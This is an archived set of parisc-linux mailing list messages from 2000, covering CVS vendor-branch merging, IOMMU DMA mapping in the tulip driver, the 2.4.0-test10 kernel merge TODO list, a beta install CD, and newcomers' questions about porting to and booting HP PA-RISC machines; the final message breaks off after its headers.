Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux bame
Date: Fri, 10 Nov 2000 08:57:47 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <m13uGYm-001Vp3C@chalet>
References: <20001110094907.A11268@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619265 5976 80.91.229.3 (22 Nov 2014 01:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: bame@bame.riverrock.org  Fri Nov 10 08:59:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA03192
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 08:59:02 -0700
Original-Received: (qmail 21844 invoked by uid 15267); 10 Nov 2000 16:00:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21825 invoked from network); 10 Nov 2000 16:00:29 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 16:00:29 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13uGYm-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Fri, 10 Nov 2000 08:57:48 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Fri, 10 Nov 2000 09:49:07 GMT."
             <20001110094907.A11268@parcelfarce.linux.theplanet.co.uk>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8369

= On Thu, Nov 09, 2000 at 03:53:48PM -0700, Paul Bame wrote:
= >     Somebody never imported 2.4.0-test6, then I imported -test10 on the mai
n
= >     vendor branch and now can't (easily) undo that to import test6 and THEN
= >     test10.  This workaround sucks.
= 
= don't use vendor branches.  didn't you talk to mang about this?

Um, I have no information to go on from your note.  All the (successful)
merges I've done before have used the cookbook CVS merge method including
a vendor branch.  Several (N-1?) of the palinux merges have been
accompanied by updating the vendor branch.  And this merge is going
well despite the ugly workaround, or so it appears to me.  Just
importing files to a vendor branch should have no effect on anything
else unless CVS has some horrible bug (RCS does not).  Before I make
what is apparently a serious mistake ("don't use vendor branches" sounds
pretty serious) please enlighten me!

	-P


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip DMA mapping
Date: Fri, 10 Nov 2000 08:29:25 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <200011101629.IAA07872@milano.cup.hp.com>
References: <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619265 5987 80.91.229.3 (22 Nov 2014 01:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Fri Nov 10 09:22:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA03654
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 09:22:26 -0700
Original-Received: (qmail 22868 invoked by uid 15267); 10 Nov 2000 16:24:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22832 invoked from network); 10 Nov 2000 16:24:20 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 16:24:20 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 675232DD; Fri, 10 Nov 2000 08:24:19 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA07872;
	Fri, 10 Nov 2000 08:29:29 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 10 Nov 2000 10:18:08 PST."
             <20001110101808.B11268@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8370


Mathew,
I think the situation is clarified. This is just FYI.

Matthew Wilcox wrote:
> On Thu, Nov 09, 2000 at 12:12:25PM -0800, Grant Grundler wrote:
> > 0 is a valid pci_map_single() return value when the system has an IO MMU.
> 
> Oh dear.  You can bet tulip won't be the only driver which assumes it
> isn't a valid return value.

Well, then:
1) the driver writer made a wrong assumption that the "spec"
   does not support.
2) that wasn't the case here - 0 was used as a flag to indicate
   a mapping had (or hadn't rather) been done - not that the
   mapping call had failed.

> Can't our IOMMU code be limited in such a
> way that 0 is not a valid return value?  Say, constrain all allocated
> addresses to the top half of the device bus?

It could pretty easily by reserving the dma_map[0] entry during
init time. Dave Miller already made it clear that's not desirable.

> (um, just check me on this, map_single returns a device bus address,
> not a processor bus address, right?)

Yes. It's the address a device must use to master DMA transactions.
pci_map_single() input parameters are "struct pci_dev *", virtual host
memory address, and buffer size. The return is a device specific I/O
DMA address - ie this mapping cannot be shared with other devices.

FWIW, "I/O DMA address" are called IOVAs in HPUX (I/O Virtual Address).
The HW guys prefer another name but this one stuck.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Fri, 10 Nov 2000 14:28:33 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <m13uLiv-001Vp3C@chalet>
References: <E13twjn-0004fw-00@noam.fc.hp.com>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619266 5992 80.91.229.3 (22 Nov 2014 01:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:06 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@bame.riverrock.org  Fri Nov 10 14:28:40 2000
Original-Received: from chalet ([199.254.238.240])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA06486
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 14:28:39 -0700
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13uLiv-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 14:28:37 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 09 Nov 2000 11:47:51 MST."
             <E13twjn-0004fw-00@noam.fc.hp.com>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8371

= 
= We're getting ready to do a kernel merge (to -test10 I think).  Anybody
= concerns before we get started?
= 

I'm getting ready to commit the changes to merge us up to 2.4.0-test10 as
soon as I'm confident 64-bit kernels are OK (32-bit seems fine).

Here's a brief list of changes made (and yet to be made -- if anyone
has the time/energy) to our parisc code (does not include changes in
common code!).  While there's plenty yet to do, I think we're
no worse off than before the merge.  Some parts of our parisc code
are getting rather moldy compared to the other ports FYI.

Important tags:
	LINUS_240_TEST6			Linus' 2.4.0-test6
	LINUS_240_TEST10		Linus' 2.4.0-test10
	LINUS_240_TEST10_PREMERGE	Our tree before the -test10 merge
	LINUS_240_TEST10_MERGED		Our tree after the -test10 merge

			    ------------

Lots of 'extern __inline__' turned into 'static __inline__' and there
are more to do (TODO).

Beginnings of several smp_mb*() macros -- implemented as no-ops in
the non-SMP case (asm/bitops.h, asm/system.h)

SET_PERSONALITY() macro in asm/elf.h needs updating (TODO).

fcntl.h acquired a 'struct fcntl64' used with 64-bit offsets, implementing
fcntl(fd, F_S/GETLK[W]64, ...).  Several other locking-related #defines added.

asm/mmu_context.h:init_new_context() now returns int (always 0), not void.

Should our asm/bitops.h routines be re-coded in assembly? (TODO)

Added #define RLIMIT_LOCKS to asm/resource.h

Added #define CLOCKS_PER_SEC to asm/param.h (how did we miss this one?)

Our asm/string.h is behind the times.  Fixing it might get rid of a
bunch of compiler warnings! (TODO)

Removed mktime from drivers/char/genrtc.c (it's in a header file now)

x86 made a bunch of changes to asm-i386/floppy.h -- should we? (TODO)

looks like maybe the get/put_user_ret() functions in asm/uaccess.h are
obsolete?  (TODO)

We'll need to add the getdents64() and fcntl64() syscall glue. (TODO!!!)

Our arch/parisc/config.in is in BAD SHAPE (TODO)

arch/parisc/process.c: added new argsto do_fork() and copy_thread().
IA64 seems to use the copy_thread() arg.

arch/parisc/signal.c: minor change to common data structure

drivers/scsi sym53c8xx_comm.h #ifdef doesn't work on parisc -- eliminates
                unmap_pci_mem() causing link error (TODO - rhirst)


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beta CD
Date: Fri, 10 Nov 2000 17:14:06 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20001110171406.C3196@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="uXxzq0nDebZQVNAZ"
X-Trace: ger.gmane.org 1416619266 5994 80.91.229.3 (22 Nov 2014 01:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pjlahaie@produce.com  Fri Nov 10 15:11:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA12740
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 15:11:10 -0700
Original-Received: (qmail 5372 invoked by uid 15267); 10 Nov 2000 22:13:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5361 invoked from network); 10 Nov 2000 22:13:06 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Nov 2000 22:13:06 -0000
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id eAAME6i04527
	for parisc-linux@thepuffingroup.com; Fri, 10 Nov 2000 17:14:06 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8372


--uXxzq0nDebZQVNAZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello fellow PA-RISCers,

An preliminary beta CD for PA/Linux has been uploaded to
puffin.external.hp.com.  If people could try it and forward any complaints
or suggestions to me, it would be greatly appreciated.  The URL for the
image is: ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz

					- Paul

--uXxzq0nDebZQVNAZ
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6DHMu8ggPQthPCzcRAgb0AJ4jJs5VOnm+9aDXUbtwht7hxAa+UwCgihAo
nEE25pYQwBwCDuALcSdyCNw=
=bTuw
-----END PGP SIGNATURE-----

--uXxzq0nDebZQVNAZ--


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel merge
Date: Fri, 10 Nov 2000 19:18:47 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20001110191847.A20509@tausq.org>
References: <E13twjn-0004fw-00@noam.fc.hp.com> <m13uLiv-001Vp3C@chalet>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619266 6000 80.91.229.3 (22 Nov 2014 01:21:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:06 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: bame@riverrock.org
Original-X-From: randolph@tausq.org  Fri Nov 10 19:20:24 2000
Original-Received: from phnxpop5.phnx.uswest.net (phnxpop5.phnx.uswest.net [206.80.192.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA14567
	for <parisc-linux@puffin.external.hp.com>; Fri, 10 Nov 2000 19:20:23 -0700
Original-Received: (qmail 2075 invoked by alias); 11 Nov 2000 02:20:52 -0000
Delivered-To: fixup-parisc-linux@puffin.external.hp.com@fixme
Original-Received: (qmail 97054 invoked by uid 0); 11 Nov 2000 02:18:54 -0000
Original-Received: from adslppp35.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.216.35)
  by phnxpop5.phnx.uswest.net with SMTP; 11 Nov 2000 02:18:54 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13uQFj-0006d1-00; Fri, 10 Nov 2000 19:18:47 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m13uLiv-001Vp3C@chalet>; from bame@riverrock.org on Fri, Nov 10, 2000 at 02:28:33PM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8373

> Our asm/string.h is behind the times.  Fixing it might get rid of a
> bunch of compiler warnings! (TODO)

if this is just an issue of implementing the various parisc-optimized string 
routines, i've been working on this, but don't have everything ready
yet.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:14:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: crypt@ihug.co.nz
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Sun, 12 Nov 2000 01:47:56 +1300
Lines: 18
Approved: news@gmane.org
Message-ID: <20001112014756.A11780@python.localnet>
References: <20001107234014.3076.qmail@web109.yahoomail.com> <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk> <20001109054804.H21783@neep.com.au> <3A09D6AE.E1BC5134@linuxcare.com> <20001109162838.A16995@python.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619267 6004 80.91.229.3 (22 Nov 2014 01:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: crypt@ihug.co.nz  Sat Nov 11 05:32:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA29194
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 05:32:29 -0700
Original-Received: (qmail 4800 invoked by uid 15267); 11 Nov 2000 12:34:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4790 invoked from network); 11 Nov 2000 12:34:25 -0000
Original-Received: from p34-max6.dun.ihug.co.nz (HELO python.localnet) (mail@203.173.237.98)
  by mailserv2.iuinc.com with SMTP; 11 Nov 2000 12:34:25 -0000
Original-Received: from crypt by python.localnet with local (Exim 3.16 #1 (Debian))
	for parisc-linux@thepuffingroup.com
	id 13ua4a-00034I-00; Sun, 12 Nov 2000 01:47:56 +1300
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001109162838.A16995@python.localnet>; from crypt on Thu, Nov 09, 2000 at 04:28:38PM +1300
Xref: news.gmane.org gmane.linux.ports.parisc:8374

Considering how often this question comes up is there anyone out there
that is interested in tracking down the info to port linux to this class
of box.

Server boxes may be classed as boring to some but there seem to be a
large number of people who have at least one of them sitting about doing
nothing.

Joe.

-- 
=======================================================================
in real life: Joseph Skinner         |There's no such thing as a wizard
email: crypt@ihug.co.nz              |who minds his own business
       Analyst/Programmer            | - Berengis the Black
                                     |   Court Mage to the Earls Caeline
========================================================================


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: 19 Apr 1999 15:05:15 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <r2aew4jmg4.fsf@happy.cygnus.com>
References: <Pine.LNX.3.96.990419173915.5593B-100000@devserv.devel.redhat.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619267 6005 80.91.229.3 (22 Nov 2014 01:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:07 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: drepper@cygnus.com  Mon Apr 19 18:25:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA17709
	for <parisc-linux@sod.res.cmu.edu>; Mon, 19 Apr 1999 18:25:55 -0400
Original-Received: (qmail 2018 invoked by uid 15267); 19 Apr 1999 22:24:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2011 invoked from network); 19 Apr 1999 22:24:33 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 19 Apr 1999 22:24:33 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA00743;
	Mon, 19 Apr 1999 15:05:53 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id PAA12384; Mon, 19 Apr 1999 15:05:15 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alex deVries's message of "Mon, 19 Apr 1999 17:41:51 -0400 (EDT)"
Original-Lines: 12
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8375

Alex deVries <adevries@redhat.com> writes:

> Could someone provide me with a reference to the SVR4 gABI document?

The most recent (though in draft form) is at

	http://www.sco.com/developer/gabi/contents.html

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rod Smart <snaketails@optushome.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC newbie
Date: Sat, 11 Nov 2000 23:57:43 +1100
Organization: Home
Lines: 57
Approved: news@gmane.org
Message-ID: <3A0D4245.1C8FB2B5@optushome.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619267 6009 80.91.229.3 (22 Nov 2014 01:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: snaketails@optushome.com.au  Sat Nov 11 05:57:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA29637
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 05:57:25 -0700
Original-Received: (qmail 18342 invoked by uid 15267); 11 Nov 2000 12:59:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18318 invoked from network); 11 Nov 2000 12:59:21 -0000
Original-Received: from co3015855-a.fernt1.vic.optushome.com.au (HELO rods.home.net.au) (root@203.164.43.95)
  by mailserv2.iuinc.com with SMTP; 11 Nov 2000 12:59:21 -0000
Original-Received: from optushome.com.au (IDENT:yendor@rods.home.net.au [192.168.3.1])
	by rods.home.net.au (8.9.3/8.8.7) with ESMTP id MAA02719
	for <parisc-linux@thepuffingroup.com>; Sat, 11 Nov 2000 12:57:44 GMT
Original-Sender: yendor@rods.home.net.au
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16.1 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8376

    Hi there.

    I just purchased at a **VERY** cheap price, a HP Visualize C-180
RISC system from a CAD drafting company, this box included a 4Gb Hard
disk, a video card with unknown amount of memory (& daughter board,
assuming its memory upgrade) and system board RAM is fully loaded
(768Megs).

    I would like to run this system on Linux, and found the PA-RISC web
site from the www.linux.org web site :o)

    The system currently has HP-UX installed, but not having any
usernames or passwords, I cannot access the system from the prompt.

    I have read how to NFS-boot the HPbox from the message board, but I
couldn't figgure out where to find the kernel sources (or how I would be
able to compile them on the HPbox anyway).

    I downloaded the vmlinux kernel file from the ftp site and the
NFS-ROOT and installed both on my current Linux box (Pentium 133
pre-MMX) in the format of how it was layed out in ...

LINUX/PA-RISC NFSROOT HOWTO

    In there it states that you have to get the latest linux-2.3 tree
from CVS, but which CVS server I'm curious about as the ones on
ftp.kernel.org don't have "parisc" in the /arch/ branch, so where do I
find the CVS "tree" that I need to use?

    I seem to have the "STEP 2." section running, as from playing with
the system I had found my way into the PDC prompt and have played with
the "boot" function. I tried to boot the installation CD (on a drive I
have borrowed from work) of HP-UX and reinstall so I have access, as I
don't really care whats currently on the system..

    I'm not confident enough on how to create and burn a bootable CD to
try and boot the box that way, I still think the vmlinux kernel I
downloaded from the PA-RISC website has something to do with my problems
(or the permissions)

    I do know that the Hp is talking to the Linux box (apart from the
lack of logged info) I get a report in /var/log/secure and messages that
the HP box has attempted a bootp session, but the HP box reports
something along the lines that the booting code was not found.

    So, if anyone has any ideas on how to help me, I would be
appreciated ;o)

    Oh, what *is* the RAM modules in the Hp systems anyway (apart from
the obvious 64Mx72-pin SIMM)

    Thank you for your time and help :o)

    PS. I would prefer replies to my E-mail address as I generally
forget to surf the net reading mailing lists....



From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Sat, 11 Nov 2000 23:12:55 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20001111231253.I9666@neep.com.au>
References: <20001107234014.3076.qmail@web109.yahoomail.com> <20001108002808.B13854@parcelfarce.linux.theplanet.co.uk> <20001109054804.H21783@neep.com.au> <3A09D6AE.E1BC5134@linuxcare.com> <20001109162838.A16995@python.localnet> <20001112014756.A11780@python.localnet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619267 6010 80.91.229.3 (22 Nov 2014 01:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Sat Nov 11 08:13:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA30701
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 08:13:37 -0700
Original-Received: (qmail 3842 invoked by uid 15267); 11 Nov 2000 15:15:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3821 invoked from network); 11 Nov 2000 15:15:34 -0000
Original-Received: from symphony-02.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.17)
  by mailserv2.iuinc.com with SMTP; 11 Nov 2000 15:15:34 -0000
Original-Received: (qmail 22408 invoked by uid 666); 11 Nov 2000 15:15:22 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.104.175)
  by mail.iinet.net.au with SMTP; 11 Nov 2000 15:15:22 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id XAA04162
	for parisc-linux@thepuffingroup.com; Sat, 11 Nov 2000 23:13:34 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001112014756.A11780@python.localnet>; from crypt@ihug.co.nz on Sun, Nov 12, 2000 at 01:47:56AM +1300
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:8377

> Considering how often this question comes up is there anyone out there
> that is interested in tracking down the info to port linux to this class
> of box.
> 
> Server boxes may be classed as boring to some but there seem to be a
> large number of people who have at least one of them sitting about doing
> nothing.
> 
> Joe.

I don't perceive the problem to be a lack of willingness, or interest, but
has already been stated the older systems contain a lot of proprietry stuff
that isn't sufficiently documented for people to work on.

Maybe as the parisc port grows more popular and attracts more resources,
some enthusiastic people will get it happening.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:14:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 e25
Date: Sat, 11 Nov 2000 15:29:14 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <200011112329.PAA09355@milano.cup.hp.com>
References: <20001111231253.I9666@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619268 6012 80.91.229.3 (22 Nov 2014 01:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: grundler@cup.hp.com  Sat Nov 11 16:22:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01095
	for <parisc-linux@puffin.external.hp.com>; Sat, 11 Nov 2000 16:22:28 -0700
Original-Received: (qmail 26695 invoked by uid 15267); 11 Nov 2000 23:24:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26680 invoked from network); 11 Nov 2000 23:24:11 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Nov 2000 23:24:11 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 2AC1EAAF; Sat, 11 Nov 2000 15:24:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA09355;
	Sat, 11 Nov 2000 15:29:22 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 11 Nov 2000 23:12:55 PST."
             <20001111231253.I9666@neep.com.au> 
